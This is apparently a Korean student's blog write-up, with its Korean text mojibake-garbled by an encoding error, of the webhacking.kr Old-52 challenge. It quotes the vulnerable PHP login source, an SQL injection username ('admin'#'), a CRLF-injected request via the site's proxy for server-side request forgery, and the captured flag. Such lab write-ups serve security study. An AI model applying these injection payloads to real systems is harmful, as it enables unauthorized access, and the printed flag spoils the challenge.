2024. 9. 19. 19:10ใSWLUG/web hacking
๐ป ๊ณผ์ 1

์ผ๋จ ๋ด๊ฐ ์ํํด์ผํ ๋ฏธ์ ์ด admin page๋ฅผ ์ ๊ทผํด์ผํ๋ ๊ฒ์ด๊ณ , guest๋ก ๋ก๊ทธ์ธํ๊ธฐ์ํ ๋ฐฉ๋ฒ์ด ์ ์๋์ด ์๋ค.


์ฐ์ ์ ์๋ ๊ฒ์ฒ๋ผ guest๋ก ๋ก๊ทธ์ธ์ ํด๋ดค๋ค.
์ด์ admin์ผ๋ก ์ ์ํ ๋ฐฉ๋ฒ์ ์ฐพ์๋ด์ผ๊ฒ ๋ค.

proxy๋ฅผ ๋๋ฌ๋ณด๋ ์์ ๊ฐ์ด Request์ Response์ ์ ๋ณด๊ฐ ๋ด๋ค.
ํด๋น ๋ฌธ์ ๋ฅผ ํ๊ธฐ์ํด์๋ Burp Suite์ ํตํด์ ์ ๊ทผํด์ผํ ๊ฒ ๊ฐ์ ๋๋์ด ๋ค์๋ค.


ํ๋ก๊ทธ๋จ์ ์คํ์์ผ์ ๋ธ๋ผ์ฐ์ ๋ฅผ ์คํํด์ ํด๋น ์ฌ์ดํธ๋ฅผ ๋ค์ด๊ฐ๋, ์๋ฌ๊ฐ ๋ฌ๋ค.

ํด๋น ์๋ฌ์ ๋ํด์ ์ฐพ์๋ณด์๋๋ฐ, HTTPS๋ฅผ ํตํด HTTPํฌํธ์ ์ก์ธ์คํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ค๊ณ ํ๋ค.
์ดํด๋ฅผ ์ ๋ชปํ๊ฒ ์ด์ ํด๋น ๋ด์ฉ๊ณผ ๋ฌธ์ ํ์ด ๋ฐฉ๋ฒ์ ๋ํด ์ฐพ์๋ณด์๋ค.
์ผ๋จ ํด๋น๋ฌธ์ ์ proxy๋ถ๋ถ์ ๋ณด๊ณ burp suite๋ง ์๊ฐํ๋๋ผ admin page ์์ค์ฝ๋๋ฅผ ์ดํด๋ณด๋ ๊ฒ์ ๋์ณค๋ค.
<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
ํ๋ก์ ์๋ฒ๋ page ๋ณ์๋ก ์ฃผ์ด์ง ๊ฒฝ๋ก์ ๊ฐ์ ์ฝ์ด ์ ์ค๋ค๊ณ ํ๋ค.
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
$_SESSION['login']="";
exit("<script>location.href='./';</script>");
}
๋ก๊ทธ์์ ์ login ์ธ์ ์ด ๋น ์ธ์ ์ผ๋ก ์ง์ , index ํ์ด์ง๋ก ๋ฆฌ๋ค์ด๋ ํธ ๋๋ค.
if($_SESSION['login']){
echo "hi {$_SESSION['login']}<br>";
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
}
else echo "You are not admin";
echo "<br><a href=./?logout=1>[logout]</a>";
exit;
}
๋ก๊ทธ์ธ ์ธ์ ์ด ์์ ๊ฒฝ์ฐ , hi ๋ก๊ทธ์ธ ์ธ์ ์ ์ถ๋ ฅ
๋ก๊ทธ์ธ ์ธ์ ์ด admin์ด๋ฉด, ์ ์ํ ์ฃผ์๊ฐ 172.17.0.x ์ด๋ฉด flag๋ฅผ ์ถ๋ ฅํ๋๋ก ๋์ด ์๊ณ ,
์๋๊ฒฝ์ฐ (else) admin ์๋๋ผ๊ณ ๋ฌธ๊ตฌ๋ฅผ ์ถ๋ ฅํ๋ค.
if(!$_SESSION['login']){
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
if($_SERVER['PHP_AUTH_USER']){
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
}
if(!$_SESSION['login']){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
echo "Login Fail";
}
}
๋ก๊ทธ์ธ ์ธ์ ์ด ์์ ๊ฒฝ์ฐ , id ์ pw ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์ฟผ๋ฆฌ๋ฌธ์ id์ pw์ ์ฝ์ ํ์ฌ ๋ก๊ทธ์ธ ํ ์ ์์.
if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
header('WWW-Authenticate: Basic realm="Protected Area"');
header('HTTP/1.0 401 Unauthorized');
}
WWW-Authenticate ํด๋๋ฅผ ๋ณผ ์ ์๋๋ฐ, ์ด๊ฒ์ด http ์ธ์ฆ์ ํ๋ค๋ ๊ฒ์ผ๋ก ์๊ฐํ๋ฉด ๋๋ค๊ณ ํ๋ค.
HTTP ์ธ์ฆ - HTTP | MDN (mozilla.org)
HTTP ์ธ์ฆ - HTTP | MDN
HTTP๋ ์ ๊ทผ ์ ์ด์ ์ธ์ฆ์ ์ํ ์ผ๋ฐ์ ์ธ ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด ํ์ด์ง์์๋ ์ผ๋ฐ์ ์ธ HTTP ์ธ์ฆ ํ๋ ์์ํฌ๋ฅผ ์๊ฐํ๊ณ ์๋ฒ์ HTTP์ Basic ์คํค๋ง ์ธ์ฆ ๋ฐฉ์์ผ๋ก ์ ๊ทผ์ ์ ํํ๋ ๊ฒ์
developer.mozilla.org
์ฐธ๊ณ ๋ก, ๋ก๊ทธ์ธ ์ทจ์๋ฅผ ๋๋ฅด๋ฉด ์๋์ ๊ฐ์ด Login Fail์ด ๋จ๋ฉด์ ์์ค ์ฝ๋๋ฅผ ๋ณผ ์ ์๋ค.

... ์๋ต ...
if($_SESSION['login'] == "admin"){
if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
else echo "Only access from virtual IP address";
... ์๋ต ...
$id = $_SERVER['PHP_AUTH_USER'];
$pw = $_SERVER['PHP_AUTH_PW'];
$pw = md5($pw);
$db = dbconnect();
$query = "select id from member where id='{$id}' and pw='{$pw}'";
$result = mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
$_SESSION['login'] = $result['id'];
exit("<script>location.href='./';</script>");
}
... ์๋ต ...
ํํฐ๋ง์ด ์์ด ๊ฐ๋จํ SQLi๋ฅผ ํ๋ผ๋ ๋ก์ง๊ณผ proxy๋ฅผ ์ด์ฉํ๋ผ๋ ๋ก์ง์ ํ์ธํ๊ณ , ๋จผ์ admin page์์ ์์ด๋์
admin'#๋ฅผ ๋ฃ๊ณ ํจ์ค์๋๋ฅผ ์๋ฌด๊ฑฐ๋ ์ ๋ ฅํ์ฌ $_SESSION['login']์ admin ๊ฐ์ ๋ฃ๊ธฐ.

๊ทธ๋ฌ๋ฉด ์ด๋ ๊ฒ ๋ฌ๋ค.
๊ทธ๋ฆฌ๊ณ ๋์ proxy ํ์ด์ง๋ฅผ ๊ฐ๋ณด๋ฉด ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋์จ๋ค.

Proxy๋ฅผ ์ด์ฉํ Request๋ Cookie์ PHPSESSID๊ฐ ์์ด์ admin ํ์ด์ง์ ์ ๊ทผํ์ฌ๋ ์ธ์ฆ์ด ๋์ง ์๋๋ค.
๋ฐ๋ผ์ ์๋์ ๊ฐ์ด Header๋ฅผ ๋ฃ์ด์ค๋ค.
page?=/admin/ HTTP/1.1%0d%0aHost: webhacking.kr:10008%0d%0aCookie:%20PHPSESSID=gbruj631fl7lvhbu3im66fa0s0%0d%0aConnection: Close%0d%0a%0d%0a
์๋์ ๊ฐ์ด Flag๋ฅผ ํ๋ํ์๋ค.

FLAG{Server_Side_Request_Forgery_with_proxy!}
๋๋์ : ์ค๋๋ง์ ์นํดํน ๋ฌธ์ ๋ฅผ ํผ ๊ฒ๋ ์์ง๋ง, ์ด์ ๊ณผ์ ๋ค๋ณด๋ค ํจ์ฌ ์ ๊ทธ๋ ์ด๋๋ ์์ ๋ด์ฉ๊ณผ ๊ณผ์ ์๋ ๊ฒ ๊ฐ๋ค.
๋ฌธ์ ๋ฅผ ํธ๋ ๋ฐ ์์ด์๋ ์กฐ๊ธ ์ด๋ ค์์ด ์์ด์ ๋์์ ๋ง์ด ๋ฐ์๊ณ , ๋ฌธ์ ๋ฅผ ํธ๋ ๋ฐฉ์๋ ๋ฐฑํผ์ผํธ ์ดํดํ ์๋ ์์์ง๋ง, ์ง์์ ์ผ๋ก ๊ณต๋ถํ๊ณ ๋ณต์ตํ๋ฉด์ ๋ด์ฉ์ ์ดํดํด์ผํ๋ฉด ๋ง์ ๋์์ด ๋ ๊ฒ ๊ฐ๋ค๋ ์๊ฐ์ด ๋๋ ๊ณผ์ ์๋ค.
์ด์ฌํ ๊ณต๋ถํ๋ ์๋ฐ์!!
[ ํ์ต ์ฐธ๊ณ ์๋ฃ ]
[Webhacking.kr] Old - 52 Write Up (tistory.com)
[Webhacking.kr] Old - 52 Write Up
๋ฌธ์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ณด๋, admin ํ์ด์ง๋ก ๋์ด๊ฐ๋๊ฒ ๋ฏธ์ ์ธ ๋ฏํ๋ค. here is proxy just for fun ๋ถ๋ถ์ proxy๋ฅผ ํด๋ฆญํ๋, ๋ฌธ์ ์๋ฒ์์ ํ๋ก์๋ฅผ ํด์ฃผ๋ ๊ฒ์ผ๋ก ํ๋จ์ด ๋๋ค. adminํ์ด์ง๋ก ๋์ด๊ฐ๋,
mokpo.tistory.com
'SWLUG > web hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
3ํ๋ 1ํ๊ธฐ 1์ฃผ์ฐจ_์นํดํน ๊ณผ์ (0) | 2025.03.26 |
---|---|
Web Hacking ๊ณผ์ _1์ฃผ์ฐจ (์์ ๋ด์ฉ ์ ๋ฆฌ) (0) | 2024.09.19 |
7์ฃผ์ฐจ_Webhacking ๊ณผ์ 1 : dreamhack [command-injection-chatgpt] (1) | 2023.11.18 |
7์ฃผ์ฐจ_Webhacking ๊ณผ์ 4 : dreamhack [Command Injection Advanced] (0) | 2023.11.18 |
7์ฃผ์ฐจ_Webhacking ๊ณผ์ 3 : webhacking.kr [challenge 44] (1) | 2023.11.18 |